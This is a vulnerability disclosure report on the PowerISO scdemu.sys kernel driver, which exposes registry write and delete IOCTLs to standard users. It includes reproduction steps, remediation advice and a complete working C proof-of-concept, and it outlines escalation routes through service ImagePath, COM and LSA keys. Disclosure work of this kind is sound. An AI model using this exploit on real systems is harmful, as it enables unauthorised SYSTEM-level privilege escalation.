PowerISO 9.3.0.0 Kernel Driver 6.9.0.0 Local Privilege Escalation via Arbitrary Registry Write or Deletion

Summary

PowerISO 9.3 installs the signed kernel driver `scdemu.sys`. When loaded, the driver creates user-visible virtual CD device links such as `\\.\SCDEmuDev0`. Two registry helper IOCTLs are reachable from a standard user:

- `0x80002018`: writes or deletes a caller-selected registry value through `RtlWriteRegistryValue`.
- `0x8000201C`: opens and deletes a caller-selected empty registry key.

The driver performs these operations from kernel context without enforcing the caller's normal registry permissions. In the validation below, a standard user could not directly write or delete protected HKLM objects, but could write a protected HKLM value and delete a protected empty HKLM key through `\\.\SCDEmuDev0`.

An unprivileged user can exploit combined arbitrary registry write and deletion primitives to achieve local privilege escalation under certain circumstances, such as atomically replacing service `ImagePath` or `FailureCommand` values, deterministically hijacking COM server registrations with attacker-controlled DLL paths, or tampering with LSA policy and autorun keys to trigger SYSTEM code execution — offering higher reliability and reduced detection surface compared to deletion-only primitives.

Affected Product and Version

- Product: PowerISO
- Tested version: 9.3.0.0 x64

- Installed product path: `C:\Program Files\PowerISO\PowerISO.exe`
- Driver path: `C:\Windows\System32\drivers\scdemu.sys`
- Driver version: 6.9.0.0
- Driver SHA-256: `D01A58E0A222E4D301B75AE80150D8CBC17F56B3F6458352D2C7C449BE302EEE`

Download URL and SHA-256

- Download URL: `https://poweriso.com/PowerISO9-x64.exe`
- File name: `PowerISO9-x64.exe`
- Installer SHA-256: `104FD55A9C9AFE36EAA2F6DBBCD2DE37B14C807D3D94ABD53A0460A1AD31FE38`
- Installer version: `9.3.0.0`
- Installer signature: Valid, Power Software Limited
- Driver signature: Valid, Power Software Limited

Vulnerability Type

Local privilege escalation / Windows registry access-control bypass through exposed kernel-mode registry helper IOCTLs.

Impact

A low-privileged local user can create, modify, or delete protected HKLM registry data through the PowerISO driver. This can be used to tamper with protected product configuration, persistence locations, or service/autostart configuration. Depending on the selected target key and service behavior, protected registry write primitives can lead to LocalSystem code execution after a reboot or service restart.

The validation used only self-created test keys under `HKLM\SOFTWARE\VendorRepro`.

Test Environment

- OS: Windows, x64 test VM
- Administrator account used only for installation, driver loading, and test-object setup
- Test user: standard user `EXPDEV\low`
- Test user integrity: Medium Integrity
- Test user groups: `BUILTIN\Users`, not `BUILTIN\Administrators`
- Test key: `HKLM\SOFTWARE\VendorRepro\PowerISO`
- Empty delete-test key: `HKLM\SOFTWARE\VendorRepro\PowerISOEmpty`

Driver Load / Setup Steps

1. Downloaded the official PowerISO 9.3 x64 installer.
2. Installed PowerISO. The installer copied `scdemu.sys` to `C:\Windows\System32\drivers\scdemu.sys`.
3. Loaded the installed signed driver without reboot by creating a temporary kernel service:

```
sc.exe create PowerIsoScdRepro type= kernel start= demand binPath=
C:\Windows\System32\drivers\scdemu.sys
sc.exe start PowerIsoScdRepro
```

4. Confirmed the driver was running and created device links:

```
SERVICE_NAME: PowerIsoScdRepro
TYPE               : 1  KERNEL_DRIVER
STATE              : 4  RUNNING
```

Example device link:

```
SCDEmuDev0 -> \Device\SCDEmu\SCDEmuCd0
```

Reproduction Steps

Create controlled protected registry keys as administrator:

```
New-Item -Path HKLM:\SOFTWARE\VendorRepro\PowerISO -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\PowerISO -Name Guard -Value before -
PropertyType String -Force
New-Item -Path HKLM:\SOFTWARE\VendorRepro\PowerISOEmpty -Force
```

Run the following as a standard user.

Direct protected HKLM write fails:

```
reg add HKLM\SOFTWARE\VendorRepro\PowerISO /v DriverWritten /t REG_SZ /d SHOULD-NOT-WRITE /f
```

Observed:

```
ERROR: Access is denied.
```

Write the same protected value through the PowerISO driver:

```
poweriso_scdemu_registry_write_poc.exe --trigger --device \\.\SCDEmuDev0 --write-sz
\Registry\Machine\SOFTWARE\VendorRepro\PowerISO DriverWritten POWERISO-SCDEMU-REGISTRY-WRITE-
9075d9c7-6001-498b-8413-a69f5c167f4c
```

Observed:

```
Opened \\.\SCDEmuDev0, sending 268-byte request to IOCTL 0x80002018
DeviceIoControl(0x80002018) returned success, bytes=0
```

Querying the key shows the value was created:

```
HKEY_LOCAL_MACHINE\SOFTWARE\VendorRepro\PowerISO
    DriverWritten    REG_SZ    POWERISO-SCDEMU-REGISTRY-WRITE-9075d9c7-6001-498b-8413-
a69f5c167f4c
```

Direct protected HKLM key deletion fails:

```
reg delete HKLM\SOFTWARE\VendorRepro\PowerISOEmpty /f
```

Observed:

```
ERROR: Access is denied.
```

Delete the same protected empty key through the PowerISO driver:

```
poweriso_scdemu_registry_write_poc.exe --trigger --device \\.\SCDEmuDev0 --delete-empty-key
\Registry\Machine\SOFTWARE\VendorRepro\PowerISOEmpty
```

Observed:

```
Opened \\.\SCDEmuDev0, sending 106-byte request to IOCTL 0x8000201c
DeviceIoControl(0x8000201c) returned success, bytes=0
```

An administrator query confirms the key was removed:

```
ERROR: The system was unable to find the specified registry key or value.
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denies that user direct write and delete operations under HKLM. The same user can perform those operations through

`\\.\SCDEmuDev0`.

This proves that `scdemu.sys` exposes privileged registry modification helpers to low-privileged callers without enforcing the expected Windows registry access checks.

Cleanup Steps

```
Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force
sc.exe stop PowerIsoScdRepro
sc.exe delete PowerIsoScdRepro
uninstall.exe /S
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force
```

Suggested Remediation

- Remove the registry write/delete IOCTLs from the public device interface.
- Restrict the device object ACL so standard users cannot open `\\.\SCDEmuDev<N>`.
- Require administrative authorization before accepting registry modification requests.
- If kernel-mode registry access is required, impersonate the caller and force normal access checks on opened registry objects.
- Replace the current packed-buffer parser with a versioned structure containing explicit byte lengths, and validate all string and data lengths against `InputBufferLength`.

POC

```
// PowerISO scdemu.sys arbitrary registry value write / empty-key delete PoC.
//
// Static target:
//   Device: \\.\SCDEmuDev0 (driver creates \Device\SCDEmu\SCDEmuCd%u)
//   IOCTL 0x80002018 -> RtlWriteRegistryValue / RtlDeleteRegistryValue
//   IOCTL 0x8000201C -> ZwOpenKey + ZwDeleteKey for empty keys
//
// The PoC is inert unless --trigger is supplied. It is intended for a controlled
// VM where the vulnerable driver is already installed and the device exists.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
```

```
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>

#define IOCTL_SCDEMU_REG_WRITE_VALUE 0x80002018UL
#define IOCTL_SCDEMU_DELETE_EMPTY_KEY 0x8000201CUL

static void usage(const wchar_t *argv0)
{
    wprintf(L"PowerISO scdemu.sys registry IOCTL PoC (compiled-only artifact).\n\n");
    wprintf(L"Usage:\n");
    wprintf(L"  %ls --trigger [--device \\\\.\\SCDEmuDev0] --write-sz <nt-key> <value-name>
<data>\n", argv0);
    wprintf(L"  %ls --trigger [--device \\\\.\\SCDEmuDev0] --write-dword <nt-key> <value-name>
<hex-value>\n", argv0);
    wprintf(L"  %ls --trigger [--device \\\\.\\SCDEmuDev0] --delete-empty-key <nt-key>\n\n",
argv0);
    wprintf(L"Example NT key path:\n");
    wprintf(L"  \\\\Registry\\\\Machine\\\\SOFTWARE\n\n");
    wprintf(L"No IOCTL is sent unless --trigger is present.\n");
}

static int append_bytes(BYTE *buf, size_t cap, size_t *off, const void *src, size_t len)
{
    if (len > cap || *off > cap - len) {
        return 0;
    }
    memcpy(buf + *off, src, len);
    *off += len;
    return 1;
}

static int append_wz(BYTE *buf, size_t cap, size_t *off, const wchar_t *s)
{
    size_t chars = wcslen(s) + 1;
    if (chars > (SIZE_MAX / sizeof(wchar_t))) {
        return 0;
    }
    return append_bytes(buf, cap, off, s, chars * sizeof(wchar_t));
}
```

```
static BYTE *build_write_request_sz(const wchar_t *key,
                                    const wchar_t *value_name,
                                    const wchar_t *data,
                                    DWORD *out_len)
{
    DWORD type = REG_SZ;
    DWORD data_len = (DWORD)((wcslen(data) + 1) * sizeof(wchar_t));
    size_t cap = (wcslen(key) + 1 + wcslen(value_name) + 1 + wcslen(data) + 1) *
                 sizeof(wchar_t) + sizeof(DWORD) * 2;
    size_t off = 0;
    BYTE *buf = (BYTE *)calloc(1, cap);
    if (!buf) {
        return NULL;
    }

    if (!append_wz(buf, cap, &off, key) ||
        !append_wz(buf, cap, &off, value_name) ||
        !append_bytes(buf, cap, &off, &type, sizeof(type)) ||
        !append_bytes(buf, cap, &off, &data_len, sizeof(data_len)) ||
        !append_bytes(buf, cap, &off, data, data_len)) {
        free(buf);
        return NULL;
    }

    *out_len = (DWORD)off;
    return buf;
}

static BYTE *build_write_request_dword(const wchar_t *key,
                                       const wchar_t *value_name,
                                       DWORD value,
                                       DWORD *out_len)
{
    DWORD type = REG_DWORD;
    DWORD data_len = sizeof(value);
    size_t cap = (wcslen(key) + 1 + wcslen(value_name) + 1) * sizeof(wchar_t) +
                 sizeof(DWORD) * 3;
    size_t off = 0;
    BYTE *buf = (BYTE *)calloc(1, cap);
```

```
    if (!buf) {
        return NULL;
    }

    if (!append_wz(buf, cap, &off, key) ||
        !append_wz(buf, cap, &off, value_name) ||
        !append_bytes(buf, cap, &off, &type, sizeof(type)) ||
        !append_bytes(buf, cap, &off, &data_len, sizeof(data_len)) ||
        !append_bytes(buf, cap, &off, &value, sizeof(value))) {
        free(buf);
        return NULL;
    }

    *out_len = (DWORD)off;
    return buf;
}

static BYTE *build_delete_key_request(const wchar_t *key, DWORD *out_len)
{
    size_t cap = (wcslen(key) + 1) * sizeof(wchar_t);
    BYTE *buf = (BYTE *)calloc(1, cap);
    if (!buf) {
        return NULL;
    }
    memcpy(buf, key, cap);
    *out_len = (DWORD)cap;
    return buf;
}

static int send_ioctl(HANDLE device, DWORD ioctl, BYTE *buf, DWORD len)
{
    DWORD bytes = 0;
    BOOL ok = DeviceIoControl(device,
                              ioctl,
                              buf,
                              len,
                              NULL,
                              0,
                              &bytes,
                              NULL);
```

```
    if (!ok) {
        fwprintf(stderr, L"DeviceIoControl(0x%08lx) failed: %lu\n",
                 (unsigned long)ioctl, GetLastError());
        return 1;
    }

    wprintf(L"DeviceIoControl(0x%08lx) returned success, bytes=%lu\n",
            (unsigned long)ioctl, bytes);
    return 0;
}

int wmain(int argc, wchar_t **argv)
{
    const wchar_t *device_path = L"\\\\.\\SCDEmuDev0";
    int trigger = 0;
    int argi = 1;

    if (argc < 2) {
        usage(argv[0]);
        return 0;
    }

    while (argi < argc) {
        if (wcscmp(argv[argi], L"--trigger") == 0) {
            trigger = 1;
            ++argi;
        } else if (wcscmp(argv[argi], L"--device") == 0 && argi + 1 < argc) {
            device_path = argv[argi + 1];
            argi += 2;
        } else {
            break;
        }
    }

    if (!trigger) {
        usage(argv[0]);
        return 0;
    }

    if (argi >= argc) {
```

```
        usage(argv[0]);
        return 1;
    }

    DWORD ioctl = 0;
    DWORD req_len = 0;
    BYTE *req = NULL;

    if (wcscmp(argv[argi], L"--write-sz") == 0) {
        if (argi + 3 >= argc) {
            usage(argv[0]);
            return 1;
        }
        ioctl = IOCTL_SCDEMU_REG_WRITE_VALUE;
        req = build_write_request_sz(argv[argi + 1], argv[argi + 2], argv[argi + 3],
&req_len);
    } else if (wcscmp(argv[argi], L"--write-dword") == 0) {
        if (argi + 3 >= argc) {
            usage(argv[0]);
            return 1;
        }
        wchar_t *endp = NULL;
        DWORD value = wcstoul(argv[argi + 3], &endp, 0);
        if (!endp || *endp) {
            fwprintf(stderr, L"Invalid DWORD value: %ls\n", argv[argi + 3]);
            return 1;
        }
        ioctl = IOCTL_SCDEMU_REG_WRITE_VALUE;
        req = build_write_request_dword(argv[argi + 1], argv[argi + 2], value, &req_len);
    } else if (wcscmp(argv[argi], L"--delete-empty-key") == 0) {
        if (argi + 1 >= argc) {
            usage(argv[0]);
            return 1;
        }
        ioctl = IOCTL_SCDEMU_DELETE_EMPTY_KEY;
        req = build_delete_key_request(argv[argi + 1], &req_len);
    } else {
        usage(argv[0]);
        return 1;
    }
```

```
    if (!req || !req_len) {
        fwprintf(stderr, L"Failed to build request buffer.\n");
        free(req);
        return 1;
    }

    HANDLE dev = CreateFileW(device_path,
                             GENERIC_READ,
                             FILE_SHARE_READ | FILE_SHARE_WRITE,
                             NULL,
                             OPEN_EXISTING,
                             FILE_ATTRIBUTE_NORMAL,
                             NULL);
    if (dev == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"CreateFileW(%ls) failed: %lu\n", device_path, GetLastError());
        free(req);
        return 1;
    }

    wprintf(L"Opened %ls, sending %lu-byte request to IOCTL 0x%08lx\n",
            device_path, req_len, (unsigned long)ioctl);
    int rc = send_ioctl(dev, ioctl, req, req_len);
    CloseHandle(dev);
    free(req);
    return rc;
}
```

Revision #1
Created 2026-05-25 17:36:50 UTC by winslow
Updated 2026-05-25 17:42:32 UTC by winslow